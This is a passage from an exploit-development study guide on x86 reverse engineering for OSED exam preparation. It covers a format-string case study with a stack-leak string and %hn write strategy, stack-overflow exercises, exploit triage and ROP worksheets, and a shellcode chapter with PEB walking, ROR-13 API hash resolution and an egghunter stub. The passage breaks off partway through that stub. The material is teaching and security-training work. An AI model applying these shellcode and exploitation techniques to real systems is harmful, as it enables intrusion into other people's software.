    lea     edx, [ebp-200h]
    push    ecx                   ; format string (ATTACKER CONTROLLED)
    push    edx                   ; destination buffer (512 bytes local)
    call    _sprintf
    add     esp, 8
    lea     edx, [ebp-200h]
    push    edx
    call    write_log
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    retn

```

12.7.1 Analysis

The client message at [session+0x10] is passed directly as sprintf's format string. The programmer intended to log the message as text, but sprintf interprets it as a format command string.

12.7.2 What the attacker can do

1. **Read the stack** with %x or %08x: each specifier reads one dword from the stack above the format string argument. After 3-4 %x specifiers, the attacker can see the saved EBP, return address, and /GS cookie.
2. **Write to memory** with %n: the specifier writes the number of characters output so far to the address stored in the corresponding stack dword. Using direct parameter access (%N\$n), the attacker targets a specific stack slot.
3. **Partial writes** with %hn (16-bit) or %hhn (8-bit) to construct arbitrary values in two or four writes.

12.7.3 Exploit strategy

1. **Leak stack values:** send "%x.%x.%x.%x.%x.%x.%x.%x"

Read response to extract return addresses and cookie.
2. **Calculate offsets:** find the stack slot containing a target address

(return address, function pointer, or SEH handler).

3. Write payload: use %hn writes to overwrite the target with shellcode address or ROP gadget, splitting the 32-bit value into two 16-bit writes.
4. Trigger execution: when the function returns (or exception fires), EIP goes to the overwritten address.

12.7.4 Verify in WinDbg

```

0:000> bp app!sub_402500
0:000> g
0:000> da poi(ebp+8)+10h          ; view format string content
0:000> dd esp L20                 ; view stack that %x will read
0:000> bp app!sprintf             ; break inside sprintf
0:000> g
0:000> dd esp L8                  ; sprintf args: dest, fmt, ...

```

12.8 Common mistakes

- Seeing a length check and declaring the copy safe.
- Ignoring which buffer the length check protects.
- Stopping at opcode dispatch instead of following the body pointer.
- Treating auth gates as blockers instead of reachability conditions.
- Confusing source length, requested copy length, and destination capacity.

12.9 Exercises

Assembly only:

```

sub_402080:
    push    ebp
    mov     ebp, esp
    sub     esp, 40h
    mov     eax, [ebp+8]
    cmp     byte ptr [eax+24h], 0
    jz      noauth
    lea     ecx, [ebp-40h]
    push    [ebp+10h]
    push    [ebp+0Ch]
    push    ecx
    call    parse_set_line
    add     esp, 0Ch
    test    eax, eax
    jnz     bad
    xor     eax, eax
    mov     esp, ebp

```

```
    pop     ebp
    retn
noauth:
    mov     eax, 0FFFFFFEh
    mov     esp, ebp
    pop     ebp
    retn
bad:
    mov     eax, 0FFFFFFFh
    mov     esp, ebp
    pop     ebp
    retn
```

Questions:

- What must be true before parser execution?
- What is the likely role of the local buffer passed to `parse_set_line`?
- What exploit question does the third argument raise?
- Where should you go next?

12.10 Challenge problems

Assembly only:

```
sub_402100:
    push    ebp
    mov     ebp, esp
    sub     esp, 48h
    lea     eax, [ebp-40h]
    push    eax
    push    offset fmt_get
    push    [ebp+8]
    call    _scanf
    add     esp, 0Ch
    cmp     eax, 1
    jnz     fail
    lea     eax, [ebp-40h]
    push    eax
    call    config_lookup
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    retn
fail:
    mov     eax, 0FFFFFFFh
    mov     esp, ebp
    pop     ebp
    retn
```

Assume `fmt_get` may be either `"get %63s"` or `"get %s"`. Explain how the security conclusion changes and how to prove which one is present.

12.11 Solutions with reasoning

Exercise solution:

The session/client field at offset `+0x24` must be nonzero before the parser runs. That is likely an auth or state gate. The local buffer at `ebp-0x40` (64 bytes) is passed as the first argument to `parse_set_line`, likely as a destination for parsed output. The second argument is `[ebp+0Ch]` (caller body pointer) and the third is `[ebp+10h]` (caller length or size). The exploit question is whether `parse_set_line` can write more than 64 bytes into the local buffer based on the third argument. The next target is `parse_set_line`, because this wrapper only gates and forwards.

Plausible pseudocode:

```
int handle_set(Client *c, const char *body, unsigned len) {
    char local[64];
    if (!c->authenticated) return -2;
    if (parse_set_line(local, body, len) != 0) return -1;
    return 0;
}
```

Challenge solution:

If the format is `"get %63s"`, `_sscanf` writes at most 63 non-whitespace bytes plus a terminator into a 64-byte buffer, which matches the local buffer size. If the format is `"get %s"`, the copy is unbounded and can overflow the local buffer. Prove it by following the `fmt_get` data reference in IDA/Ghidra or by dumping the address in WinDbg with `da fmt_get`. The security conclusion depends on the format string, not on the presence of `_sscanf` alone.

12.12 Final capstone

Analyze this complete function as if it were unknown:

```
sub_402200:
    push    ebp
    mov     ebp, esp
    sub     esp, 0CCh
    push    esi
    mov     esi, [ebp+8]
    test    esi, esi
    jz      fail
    cmp     byte ptr [esi+20h], 0
    jz      fail
    mov     eax, [ebp+10h]
    cmp     eax, [ebp+14h]
```

```

    ja     fail
    lea    ecx, [ebp-80h]
    push   eax
    push   [ebp+0Ch]
    push   ecx
    call   _memcpy
    add    esp, 0Ch
    lea    eax, [ebp-80h]
    push   eax
    call   process_record
    add    esp, 4
    xor    eax, eax
    pop    esi
    mov    esp, ebp
    pop    ebp
    retn

fail:
    mov    eax, 0FFFFFFFFh
    pop    esi
    mov    esp, ebp
    pop    ebp
    retn

```

Solution:

Facts:

- `arg0` is a pointer, preserved in ESI.
- `arg0` must be non-null.
- Byte field `arg0+0x20` must be nonzero before processing.
- `arg2 <= arg3` unsigned is required before the copy.
- Destination is a stack local at `ebp-0x80`.
- Source is `arg1`.
- Count is `arg2`.
- The local buffer is passed to `process_record`.

Interpretation:

This is an auth/state-gated record-processing wrapper. It checks that the copy length does not exceed some source/declaration length, copies into a fixed stack buffer, then processes the local copy.

Exploit reasoning:

The length check does not mention the destination capacity. If `arg2` can exceed `0x80`, this is a stack-overflow candidate even though a length check exists. If a stack cookie is absent, saved return address or saved registers may be reachable. If a cookie exists in a real build, look for SEH layout, non-return control flow, adjacent object corruption, or a different bug path.

Plausible pseudocode after reasoning:

```
int handle_record(Client *c, const unsigned char *body,
                  unsigned copy_len, unsigned declared_len) {
    unsigned char local[128];

    if (!c) return -1;
    if (!c->authenticated) return -1;
    if (copy_len > declared_len) return -1;

    memcpy(local, body, copy_len);
    process_record(local);
    return 0;
}
```

The reverse engineer's final model is not "memcpy overflow." It is: an authenticated record handler validates source bounds but fails to validate destination capacity before copying network-controlled bytes into a stack local.

12.13 Appendix A: Exercise answering template

Use this before pseudocode:

```
Function boundary:
Inputs:
Outputs:
Memory reads:
Memory writes:
Calls:
Branch questions:
Value ranges after checks:
Compiler artifacts:
Programmer assumptions:
Attacker-controlled values:
Exploit relevance:
Unresolved facts to verify:
```

12.14 Appendix B: Fast semantic checklist

- test p,p before [p+off]: null guard.
- movzx: unsigned narrow value.
- movsx: signed narrow value.
- ja/jb: unsigned comparison.
- jg/jl: signed comparison.
- lea without later dereference: arithmetic.
- lea local; push local; call: address-taken local.
- dst[len]=0: string termination and possible off-by-one.

- `len < cap`: usually leaves room for terminator.
- `len <= cap`: dangerous if terminator is also written.
- `call [reg+off]`: code pointer read from data.
- `jmp __imp_*`: import thunk.
- `__security_check_cookie`: compiler protection, not business logic.
- `__chkstk`: large stack allocation, not application loop.

12.15 Appendix C: WinDbg verification prompts

Use WinDbg to promote hypotheses to facts:

```
bp module!function
uf module!function
dd esp L20
dd ebp-100 L80
da poi(esp+4)
dds poi(table) L10
ba w4 address
!exchain
kv
```

Verify:

- actual argument order at call sites
- whether source bytes are attacker-controlled
- exact overwrite offset
- stack cookie placement
- SEH chain position
- imported API addresses
- whether a suspicious path is reachable

12.16 Key takeaways

- Real bugs hide behind layers: dispatcher -> handler -> parser -> copy helper. Follow attacker data through each layer, do not stop at the first function.
- A length check only protects the buffer it compares against. A check proving “copy length <= source length” says nothing about destination capacity.
- SEH overwrites bypass /GS cookies because the exception handler fires before the epilogue cookie check. Look for SEH registration in functions with buffers.
- Format string bugs turn string data into arbitrary read/write primitives. Any function that passes attacker data as a format argument is exploitable.
- Always fill the complete exploit ledger before writing exploit code: data origin, gate conditions, missing invariants, impact, mitigations, bad chars.

12.17 See also

- [x86-osed-assembly-reference/11-buffers-and-stack-overflows.md](#) – overflow mechanics, offset calculation, cyclic patterns.
- [x86-osed-assembly-reference/22-format-string-assembly-concepts.md](#) – format specifier behavior and partial-write technique.
- [osed-reversing-guide/13-worked-example.md](#) – full worked reversing example.
- [DRILLS/stack_overflow.md](#) – stack overflow practice drills.
- [DRILLS/crash_analysis.md](#) – crash triage drills.
- [Tools/exploit/](#) – exploit construction framework.
- [Tools/badchars/](#) – bad character identification.
- [Tools/pattern/](#) – cyclic pattern for offset calculation.

Chapter 13

13. Printable Worksheets and Checklists

Use these pages while working through unknown functions. They are intentionally repetitive. The repetition builds the habit that matters in real reversing: facts first, source reconstruction second.

13.0.1 Unknown function worksheet

Function address/name:

Caller(s):

Callee(s):

Boundary:

Prologue:

Epilogue:

Tail calls:

Exception exits:

Incoming values:

☐ stack arguments

☐ register arguments

☐ globals

☐ object fields

☐ imported/runtime state

Outgoing values:

☐ EAX return

☐ memory writes

☐ global writes

☐ calls with modified arguments

☐ indirect control flow

Compiler scaffolding:

- ☐ saved registers
- ☐ frame allocation
- ☐ stack cookie
- ☐ stack probe
- ☐ SEH registration
- ☐ import thunk

One-sentence current hypothesis:

Evidence that supports it:

Evidence that contradicts or weakens it:

Next verification step:

13.0.2 Branch worksheet

Compare/test instruction:

Conditional jump:

Signed or unsigned:

Taken edge means:

Fall-through edge means:

Value constrained:

Constraint after taken edge:

Constraint after fall-through edge:

Is this a validation gate?

- ☐ null check
- ☐ type/opcode check
- ☐ length/capacity check
- ☐ auth/state check
- ☐ error/status check
- ☐ other

What becomes safe after this branch?

What is still not proven?

13.0.3 Call-site worksheet

Call target:

Direct or indirect:

Caller cleanup or callee cleanup:

Arguments:

Note: `arg0` is the first C parameter, usually ``[ebp+8]``; it is pushed last
↪ at a `cdecl/stdcall` call site.

`arg0:`
`arg1:`
`arg2:`
`arg3:`
`arg4:`

For each pointer argument:

Origin:
Points to:
Read or write:
Size/capacity:
Attacker-controlled:

Return value use:

☐ ignored
☐ zero/nonzero check
☐ signed error check
☐ pointer dereference
☐ length/count
☐ stored for later

Question this call answers:

13.0.4 Pointer provenance and alias worksheet

Pointer value:

First observed at:

Original source:

☐ stack argument
☐ register argument
☐ global
☐ heap allocation
☐ object field
☐ return value
☐ computed address

Copies/aliases:

register alias 1:
register alias 2:
stack spill:
structure field:
global/table entry:

Adjustments:

added offset:

scaled index:
pointer increment:
cast or width change:

Dereferences:

read at:
write at:
width:

Calls that may clobber aliases:

caller-saved registers live across call:
preserved registers:
memory aliases still valid:

Trust:

attacker-controlled pointer:
attacker-controlled pointed-to data:
validated before dereference:
validated before write:

Unresolved alias questions:

13.0.5 Copy-operation worksheet

Operation:

- ☐ memcpy-like
- ☐ memmove-like
- ☐ strcpy-like
- ☐ strncpy-like
- ☐ memset-like
- ☐ rep movs/stos
- ☐ sscanf/string parser

Destination:

Address:

Storage:

- ☐ stack
- ☐ heap
- ☐ global
- ☐ caller-provided

Capacity:

How capacity is known:

Source:

Address:

Origin:

Attacker-controlled:

Count/termination:

Count value:

Count origin:

Terminator written:

Maximum proven:

Safety relationship:

[] count <= destination capacity

[] count < destination capacity because terminator follows

[] only source length checked

[] no destination check found

[] unknown

Exploit notes:

13.0.6 Structure recovery worksheet

Base pointer:

How base pointer is obtained:

Observed fields:

+0x00:

+0x04:

+0x08:

+0x0C:

+0x10:

+0x14:

+0x18:

+0x1C:

+0x20:

For each field:

Read/write:

Width:

Signedness:

Compared against:

Passed to:

Stored from:

Likely object role:

Invariants:

Trust boundary:

13.0.7 File and protocol format worksheet

Format name or parser function:

Input source:

- ☐ recv/socket
- ☐ ReadFile
- ☐ mapped file
- ☐ caller buffer
- ☐ decompressed/decoded buffer

Initial gate:

Required minimum size:

Failure return/status:

Magic bytes/signature:

Offset:

Width:

Expected value:

Byte order:

Header fields:

Offset	Width	Role	Evidence
+0x00			
+0x02			
+0x04			
+0x08			
+0x0C			
+0x10			

Version/type/opcode dispatch:

Field offset:

Compare chain or switch:

Valid values:

Default/reject path:

Length and capacity relationships:

Declared length field:

Header size added/subtracted:

Maximum accepted:

Destination capacity:

Integer truncation/sign-extension risks:

Payload/body:

Body offset:

Body length:

Terminator required:

Alignment/padding:

Nested records:

Integrity checks:

- ☐ checksum
- ☐ CRC
- ☐ hash
- ☐ compression size check
- ☐ none observed

Computed over:
Compared against:

Trust boundary:

Attacker-controlled fields:
Fields validated before use:
Fields used before validation:

Test cases to prove the model:

Smallest valid input:
Bad magic:
Bad version/opcode:
Short header:
Declared length > actual data:
Declared length > destination:

13.0.8 Loop worksheet

Loop header:

Loop body:

Exit block:

Induction variable:

Initial value:

Update:

Exit condition:

Memory access pattern:

Element size:

Base pointer:

Index or pointer bump:

Loop type:

- ☐ counted
- ☐ sentinel
- ☐ bounded sentinel
- ☐ traversal
- ☐ retry/error loop

Invariant before each iteration:

What is returned or written:

13.0.9 Dispatch and switch worksheet

Dispatch function address:

Dispatch key register/operand:

Key source (argument, field, computed):

Range check:

Instruction:

Valid range:

Unsigned or signed:

Default/out-of-range target:

Dispatch mechanism:

☐ compare chain

☐ jump table

☐ lookup table + indirect call

☐ tail call series

☐ other

Targets:

case 0:

case 1:

case 2:

case 3:

default:

Which target receives attacker-controlled data:

Which target performs memory writes:

Are any targets tail calls (jmp, not call):

Is the dispatch key attacker-controlled:

Next analysis target:

13.0.10 Exploit triage worksheet

Suspicious operation:

Reachability:

Attacker-controlled input:

Validation gates:

Missing invariant:

Bug class candidate:

☐ stack overflow

☐ heap overflow

- ☐ integer overflow/truncation
- ☐ format string
- ☐ use-after-free
- ☐ double free
- ☐ off-by-one
- ☐ SEH overwrite
- ☐ function pointer/vtable corruption
- ☐ info leak

Overwrite/read target:

Offset calculation:

Bad characters or input constraints:

Mitigations:

- ☐ stack cookie
- ☐ DEP/NX
- ☐ ASLR
- ☐ SEHOP/SafeSEH
- ☐ heap hardening

What would prove exploitability:

What would disprove exploitability:

13.0.11 WinDbg verification worksheet

Breakpoint:

Input used:

Before call:

- esp:
- ebp:
- eax:
- ecx:
- edx:
- esi:
- edi:

Stack dump:

Memory dump of destination:

Memory dump of source:

After call:

- eax:
- changed memory:
- exception:

Static hypothesis confirmed?

- ☐ yes
- ☐ no
- ☐ partially

Correction to static model:

13.0.12 Shellcode analysis worksheet

Sample source:

Entry point:

EIP recovery method:

- ☐ call/pop
- ☐ jmp/call backward
- ☐ fstenv
- ☐ other

Register holding recovered EIP:

Encoder/decoder:

- ☐ single-byte XOR
- ☐ additive
- ☐ multi-byte key
- ☐ sub-based
- ☐ none / cleartext

Key value:

Encoded region start:

Encoded region length:

Bad characters avoided:

PEB walk present:

- ☐ yes
- ☐ no

Module list used:

- ☐ InLoadOrderModuleList (+0Ch)
- ☐ InMemoryOrderModuleList (+14h)
- ☐ InInitializationOrderModuleList (+1Ch)

Target module (by position):

DllBase offset:

API resolution:

- ☐ hash-based (ROR/ADD loop)
- ☐ string comparison
- ☐ GetProcAddress after resolution
- ☐ hardcoded addresses

Hash algorithm:

APIs resolved:

Payload action:

- ☐ reverse shell
- ☐ bind shell
- ☐ download-and-execute
- ☐ command execution
- ☐ other

Null-byte avoidance techniques observed:

WinDbg verification:

- Break at decoder end, dump decoded payload:
- Break at API call, verify arguments:

13.0.13 ROP chain worksheet

Overflow target:

- ☐ saved return address
- ☐ SEH handler
- ☐ function pointer
- ☐ vtable entry

Stack pivot (if needed):

- Pivot gadget address:
- Pivot instruction:
- Controlled register:
- New ESP value:

Chain trace:

Slot	Address	Gadget/Value	Effect
+00:			
+04:			
+08:			
+0C:			
+10:			
+14:			
+18:			
+1C:			
+20:			
+24:			
+28:			
+2C:			
+30:			

Register state after chain:

- EAX:
- EBX:

ECX:
EDX:
ESI:
EDI:
ESP:
EBP:

API call being set up:

Function:
arg0 (return address after API):
arg1:
arg2:
arg3:
arg4:

DEP bypass method:

[] VirtualProtect
[] VirtualAlloc
[] WriteProcessMemory
[] SetProcessDEPPolicy
[] NtSetInformationProcess
[] other

Gadget quality notes:

Non-ASLR module used:
Clobbered registers:
Conditional branches in gadgets:
Bad characters in addresses:

What would break the chain:

13.0.14 Daily practice drill

Use this for one unknown function per day.

Function:
Timebox: 25 minutes

Minute 0–5:
Boundary, arguments, return, obvious calls.

Minute 5–10:
Branch questions and validated ranges.

Minute 10–15:
Data origin/destination and memory writes.

Minute 15–20:

Programmer assumptions and exploit relevance.

Minute 20–25:

Pseudocode and verification plan.

Final sentence:

This function exists to...

13.0.15 Chapter review grid

Chapter:

Three patterns I can recognize:

- 1.
- 2.
- 3.

One pattern I can derive but not yet recognize quickly:

One mistake I made:

One WinDbg command that would verify the main idea:

One exploit question raised by the chapter:

13.1 Filled-in example: unknown function worksheet

This example shows a completed worksheet for a real analysis, demonstrating the level of detail expected.

Function address/name: sub_401900

Caller(s): sub_401000 (network handler), sub_401200 (command dispatcher)

Callee(s): _memcpy, send_status

Boundary:

Prologue: push ebp / mov ebp, esp / sub esp, 200h

Epilogue: mov esp, ebp / pop ebp / retn

Tail calls: none

Exception exits: none

Incoming values:

[x] stack arguments: [ebp+8] = client object ptr, [ebp+0Ch] = data ptr,
[ebp+10h] = data length

[] register arguments

[] globals

[] object fields: [ebp+8]+0x20 = auth flag (byte)

```
[ ] imported/runtime state
```

Outgoing values:

```
[x] EAX return: 0 success, -1 failure
[x] memory writes: memcpy into [ebp-200h] (512-byte local buffer)
[ ] global writes
[x] calls with modified arguments: send_status(client, message)
[ ] indirect control flow
```

Compiler scaffolding:

```
[ ] saved registers: ESI (used for client pointer)
[x] frame allocation: sub esp, 200h
[ ] stack cookie: NOT PRESENT
[ ] stack probe: not needed (< 4096 bytes)
[ ] SEH registration: none
[ ] import thunk: _memcpy
```

One-sentence current hypothesis:

Authenticated command handler that copies client data into a local buffer and sends a status response.

Evidence that supports it:

- Auth check at [esi+20h] gates the copy path
- memcpy destination is a 512-byte local buffer
- send_status called with response messages on both paths

Evidence that contradicts or weakens it:

- No bounds check on [ebp+10h] before memcpy -- data length is used
 - ↪ directly as copy count
- No /GS cookie despite 512-byte buffer (older compile? /GS disabled?)

Next verification step:

- Set breakpoint at memcpy call, send data > 512 bytes, verify overflow
 - ↪ occurs.
- Check whether auth can be bypassed or is obtained via a prior legitimate request.

13.2 Exploit development workflow worksheet

Use this worksheet to track progress through a complete exploit development cycle. Each section corresponds to a phase of the OSED exam workflow.

Target binary:

Target service/protocol:

Date started:

Time spent so far:

=== Phase 1: Reconnaissance ===

Binary type: ☐ EXE ☐ DLL ☐ Service

Architecture: ☐ x86 ☐ x64

Protections:

ASLR: ☐ Yes ☐ No ☐ Partial (which modules?)
 DEP/NX: ☐ Yes ☐ No
 SafeSEH: ☐ Yes ☐ No (per module)
 /GS: ☐ Yes ☐ No (per function)
 SEHOP: ☐ Yes ☐ No

Network protocol: ☐ TCP ☐ UDP ☐ Named pipe ☐ Other

Port:

Authentication required: ☐ Yes ☐ No ☐ Optional

Input format:

Non-ASLR modules:

Module name	Base address	SafeSEH
_____	_____	_____

=== Phase 2: Vulnerability Discovery ===

recv/ReadFile locations:

Data flow from input to vulnerable function:

Vulnerable function:

Bug class:

Overflow offset (cyclic pattern):

Controlled registers at crash:

Bad characters:

=== Phase 3: Exploit Strategy ===

Exploit type: ☐ Direct RET overwrite ☐ SEH overwrite ☐ Other

DEP bypass: ☐ Not needed ☐ ROP chain ☐ Other

Payload space available:

Egghunter needed: ☐ Yes ☐ No

=== Phase 4: Exploit Construction ===

Return address / SEH handler:

Source module:

Address:

Instruction:

ROP chain (if needed):

VirtualProtect / VirtualAlloc address:

Key gadgets:

Shellcode:

Type: ☐ Reverse shell ☐ Bind shell ☐ Custom

Size:

Encoder:

```
=== Phase 5: Verification ===
Exploit works in debugger: [ ] Yes [ ] No
Exploit works standalone: [ ] Yes [ ] No
Shell received:           [ ] Yes [ ] No
Screenshot taken:         [ ] Yes [ ] No
```

13.3 Practice binary sources

For hands-on practice with these worksheets, use binaries from these sources (available on the OSED lab environment or for download):

- **Vulnserver** (by Stephen Bradshaw): a deliberately vulnerable TCP server with multiple exploit paths (TRUN, GMON, KSTET, etc.). Ideal for practicing stack overflow, SEH, and egghunter techniques.
- **dostackbufferoverflowgood** (by Justin Steven): guided stack buffer overflow tutorial binary.
- **brainpan**: VulnHub/TryHackMe binary for practicing basic overflow and shellcode.
- **OSED lab binaries**: the course-provided binaries for each module. Apply these worksheets to every lab exercise.
- **Exploit-DB applications**: search for Windows x86 applications with known vulnerabilities in the stack overflow or SEH categories.

When using any practice binary, fill out the Unknown Function Worksheet for at least three functions before writing exploit code. This builds the analysis discipline that separates exam-ready students from those who trial-and-error their way through.

13.4 Key takeaways

- Worksheets are not busywork. They enforce the fact-ledger discipline that prevents the most common reversing failure: acting on unproven assumptions.
- Print the worksheets and fill them out by hand during practice. Handwriting forces slower, more deliberate analysis than typing.
- The exploit development workflow worksheet maps directly to the OSED exam structure. Practice filling it out under time pressure.
- Use the daily practice drill (25-minute timebox) to build speed. One function per day, every day, for the duration of your OSED preparation.

13.5 See also

- Chapter 0 (Preface) – study method and four-pass reading strategy
- Chapter 10 (Methodology) – the 9-step analysis process these worksheets support
- Chapter 11 (Exploit-oriented reading) – exploit triage checklist
- Chapter 12 (Case studies) – worked examples using these worksheet patterns
- DRILLS/ directory – drill templates organized by skill area
- Tools/ directory – automation tools for bad characters, patterns, and exploit construction

Chapter 14

14. Shellcode Idioms and Position-Independent Patterns

14.1 Learning objectives

- Recognize position-independent code patterns in x86 shellcode.
- Identify `call/pop` and `fstenv`-based EIP recovery.
- Read PEB-walking sequences that resolve module base addresses at runtime.
- Walk the PE export table to resolve API functions by hash.
- Recognize encoder/decoder stubs and egghunter patterns.
- Understand staged vs stageless shellcode delivery.
- Distinguish shellcode idioms from normal compiler output.

14.2 Concept discussion

Shellcode runs without the loader's help. It cannot use import tables, fixed addresses, or relocations. Every address it needs must be derived at runtime. That constraint produces distinctive assembly patterns a reverse engineer should recognize on sight.

The core problems shellcode solves:

- **Where am I?** The code must learn its own address to reference embedded data (strings, hashes, encoded payload).
- **Where are the APIs?** Without an import table the code must walk the PEB to find loaded modules and resolve exports by name or hash.
- **How do I avoid bad characters?** Network protocols, string functions, and copy operations may filter bytes like `0x00`, `0x0A`, `0x0D`, or `0x80+`. Encoder stubs transform the payload to survive transit, then decode in place.
- **Where is my payload?** Staged shellcode or egghunters search memory for a marker tag to locate a larger payload placed elsewhere.

These are not compiler patterns. They are hand-written or tool-generated sequences with a distinctive shape.

14.3 Common shellcode patterns

- `call next; next: pop reg`: classic EIP recovery.
- `jmp over; tag: call back; over: ...`: call-backward variant for data reference.
- `fstenv [esp-0Ch]` followed by `pop reg`: FPU-based EIP recovery.
- `mov eax, fs:[30h]`: PEB access.
- `mov eax, [eax+0Ch]`: PEB->Ldr.
- `mov eax, [eax+14h]`: `InMemoryOrderModuleList`.
- `ror edx, 0Dh; add edx, [esi]`: hash accumulation for API name resolution.
- `xor byte ptr [edi], key; inc edi; loop`: single-byte XOR decoder.
- `cmp dword ptr [edi], tag; jz found; inc edi`: egghunter linear scan.
- Null-byte avoidance: `xor eax, eax` instead of `mov eax, 0`; push byte 1 instead of push 1; `sub eax, -value` instead of `add eax, value`.

14.3.1 Null-byte avoidance reference table

Operation	With nulls	Null-free alternative
↪ --		
Zero a register	B8 00 00 00 00 (mov)	31 C0 (xor eax, eax)
Push zero	6A 00	xor eax,eax; push eax
Load small value	B8 1C 00 00 00 (mov)	mov eax,0xFFFFFE4; neg eax
Add large value	81 C4 80 00 00 00 (add)	83 EC 80 (sub esp, -0x80)
Push string dword	68 XX 00 XX XX	construct via arithmetic
PEB access	64 A1 30 00 00 00	xor eax,eax; mov
↪ <code>eax,fs:[eax+30h]</code>		

14.4 Fully annotated example

14.4.1 EIP recovery and data reference

```

shellcode_start:
    jmp     short get_data
callback:
    pop     esi
    ; ESI now points to the string below.
    xor     eax, eax
    mov     byte ptr [esi+0Dh], al
    push    eax
    push    esi
    call    ebp
    ; Assume EBP holds address of a resolved API.
get_data:
    call    callback
    db      "Hello, world!", 0FFh

```

Annotated:

```

jmp short get_data
; Skip over the callback body to reach the CALL below.

call callback
; CALL pushes the address of the next byte (the string) onto the stack, then
; jumps backward. This is not a normal function call. The return address IS
; ↪ the
; data pointer.

pop esi
; Pop the pushed return address. ESI now holds the runtime address of the
; embedded string.

mov byte ptr [esi+0Dh], al
; Overwrite the placeholder byte after "Hello, world!" with a NUL
; ↪ terminator.
; The 0xFF placeholder avoided a null byte in the shellcode body.

```

The programmer wrote position-independent data referencing. A compiler would never emit `call` to push a data address. Seeing `call` immediately followed by non-code bytes or a `pop` into a general-purpose register is a strong shellcode indicator.

14.4.2 FPU-based EIP recovery

```

fldz                                ; push 0.0 onto FPU stack (any FPU
; ↪ instruction works)
fstenv [esp-0Ch]                    ; save FPU environment to stack
pop ebx                             ; EBX = FPU Instruction Pointer

```

The `fstenv` instruction saves the FPU state, which includes the address of the last FPU instruction executed (the FPU Instruction Pointer at offset +0x0C in the saved environment). By writing to `[esp-0Ch]`, the FPU IP lands exactly at `[esp]`, where the subsequent `pop` collects it. `EBX` now holds the address of the `fldz` instruction, providing EIP-relative addressing.

This technique is used when `call`/`pop` would produce bad characters (the E8 opcode followed by a near-relative displacement may contain null bytes for short jumps).

14.4.3 PEB walk for module resolution

```

xor eax, eax
mov eax, fs:[eax+30h]
; Read the PEB pointer from the TEB. Using [eax+30h] instead of fs:[30h]
; avoids a null byte in the displacement encoding.

mov eax, [eax+0Ch]
; PEB->Ldr (PEB_LDR_DATA pointer).

```

```

mov     esi, [eax+14h]
; Ldr->InMemoryOrderModuleList.Flink. This is a LIST_ENTRY pointing to
;   the
; first loaded module's LDR_DATA_TABLE_ENTRY (at the InMemoryOrderLinks
; offset).

next_module:
lodsd
; Load [ESI] into EAX and advance ESI by 4. EAX now holds the Flink of
;   the
; next list entry.

xchg    esi, eax
; Move to the next entry. ESI = new list node.

mov     ebx, [esi+10h]
; DllBase of this module. DllBase is at entry+0x18 from the structure
;   base,
; but the list pointer points to InMemoryOrderLinks at entry+0x08, so
;   the
; offset from the pointer is 0x18 - 0x08 = 0x10.

```

The reverse engineer sees `fs: [30h]` and knows this is PEB access. The `0Ch` → `14h` → `lodsd` chain is the standard module-list walk. Variations exist with `InLoadOrderModuleList` (offset `0Ch` instead of `14h`) or `InInitializationOrderModuleList` (offset `1Ch`).

14.5 PE export table resolution

After finding a module's `DllBase` via PEB walking, shellcode parses the PE export directory to find API function addresses. This is the critical step that connects module discovery to actual API calls.

14.5.1 PE header chain

```

DllBase + 0x3C      -> e_lfanew (offset to PE signature)
DllBase + e_lfanew  -> PE signature ("PE\0\0")
PE + 0x78           -> Export Directory RVA
;   (DataDirectory[0].VirtualAddress)
DllBase + ExportRVA -> IMAGE_EXPORT_DIRECTORY

```

14.5.2 IMAGE_EXPORT_DIRECTORY key fields

Offset	Field	Description
+0x18	NumberOfNames	count of exported function names

+0x1C	AddressOfFunctions	RVA of function address array (dwords)
+0x20	AddressOfNames	RVA of name pointer array (dwords -> RVA ↳ strings)
+0x24	AddressOfNameOrdinals	RVA of ordinal array (words, index into ↳ Functions)

14.5.3 Resolution algorithm

1. Iterate AddressOfNames [0..NumberOfNames-1].
2. For each name, compute a hash and compare to the target hash.
3. When matched at index i, read AddressOfNameOrdinals[i] (a 16-bit value).
4. Use the ordinal as an index into AddressOfFunctions[ordinal].
5. Add DllBase to the RVA to get the final function VA.

14.5.4 Assembly implementation

```

; Input: EBX = DllBase (from PEB walk)
; Output: EAX = resolved function address

mov     edx, [ebx+3Ch]           ; EDX = e_lfanew
mov     edx, [ebx+edx+78h]       ; EDX = Export Directory RVA
add     edx, ebx                 ; EDX = Export Directory VA
mov     ecx, [edx+18h]          ; ECX = NumberOfNames
mov     eax, [edx+20h]          ; EAX = AddressOfNames RVA
add     eax, ebx                 ; EAX = AddressOfNames VA

find_function:
dec     ecx
mov     esi, [eax+ecx*4]         ; ESI = name RVA at index ECX
add     esi, ebx                 ; ESI = name string VA

; Hash the name (ROR-13-ADD)
xor     edi, edi                 ; EDI = hash accumulator
hash_loop:
lodsb                     ; AL = next byte from [ESI], ESI++
ror     edi, 0Dh              ; rotate hash right by 13
add     edi, eax               ; add character (zero-extended in EAX)
test    al, al
jnz     hash_loop              ; continue until NUL terminator

cmp     edi, <target_hash>      ; compare computed hash to target
jnz     find_function           ; no match -- try next name

; Match found at index ECX
mov     eax, [edx+24h]          ; EAX = AddressOfNameOrdinals RVA
add     eax, ebx                 ; EAX = AddressOfNameOrdinals VA

```

```

movzx    ecx, word ptr [eax+ecx*2] ; ECX = ordinal (16-bit)

mov      eax, [edx+1Ch]           ; EAX = AddressOfFunctions RVA
add      eax, ebx                 ; EAX = AddressOfFunctions VA
mov      eax, [eax+ecx*4]         ; EAX = function RVA
add      eax, ebx                 ; EAX = function VA (final result)

```

The ROR-13-ADD hash is the most common shellcode hash algorithm (used by Metasploit's `block_api`). To compute target hashes in Python:

```

def ror13_hash(name):
    h = 0
    for c in name:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

```

Example: ror13_hash("WinExec") = 0x0E8AFE98

14.6 Egghunter patterns

When the overflow payload is too small for full shellcode, the attacker uses an egghunter – a small stub (~32 bytes) that searches all readable memory for a unique marker tag, then jumps to the full shellcode placed elsewhere (heap, another buffer, environment variable).

14.6.1 NtAccessCheckAndAuditAlarm technique

```

xor      edx, edx
next_page:
or       dx, 0FFFh                ; EDX = page-aligned - 1 (0x00000FFF,
    ↪ 0x00001FFF, ...)
next_addr:
inc      edx                      ; advance to next byte
push     edx                      ; save current address
push     2                        ; syscall number for
    ↪ NtAccessCheckAndAuditAlarm
pop      eax                      ; EAX = 2
int      2Eh                     ; syscall -- probes [EDX] safely
cmp      al, 5                    ; STATUS_ACCESS_VIOLATION = 0xC0000005
    ↪ (low byte 5)
pop      edx                      ; restore address
